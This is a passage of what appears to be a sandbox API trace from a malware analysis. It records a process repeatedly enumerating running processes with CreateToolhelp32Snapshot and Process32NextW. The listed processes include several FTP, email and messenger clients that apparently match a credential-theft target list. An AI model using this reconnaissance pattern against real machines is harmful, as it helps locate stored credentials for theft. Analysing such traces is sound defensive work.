th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0109.822] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0109.823] CloseHandle (hObject=0x304) returned 1 [0109.823] Sleep (dwMilliseconds=0x1f4) [0110.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x310 [0110.343] Process32FirstW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.343] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.344] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.345] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.345] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.346] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.347] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.347] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.348] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.349] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.349] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0110.350] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0110.351] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.351] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.352] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.353] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.353] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.354] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.355] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.356] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.358] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.359] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.359] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.360] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.361] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.362] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.363] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0110.364] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0110.365] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.366] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0110.367] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.368] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0110.368] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0110.369] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0110.370] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0110.370] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0110.371] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0110.372] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0110.414] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0110.414] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0110.415] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0110.415] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0110.416] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0110.701] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0110.702] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0110.703] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0110.704] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0110.705] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0110.706] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0110.706] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0110.707] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0110.708] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0110.708] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0110.709] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="beside-bedford.exe")) returned 1 [0110.710] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0110.711] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0110.712] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0110.713] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0110.714] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0110.715] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0110.739] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0110.740] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0110.741] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0110.743] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0110.744] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0110.746] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0110.752] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0110.754] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0110.755] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0110.757] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0110.758] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0110.760] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0110.761] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0111.699] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0111.702] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0111.703] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0111.704] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0111.705] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0111.706] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0111.708] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0111.727] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0111.728] Process32NextW (in: hSnapshot=0x310, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, 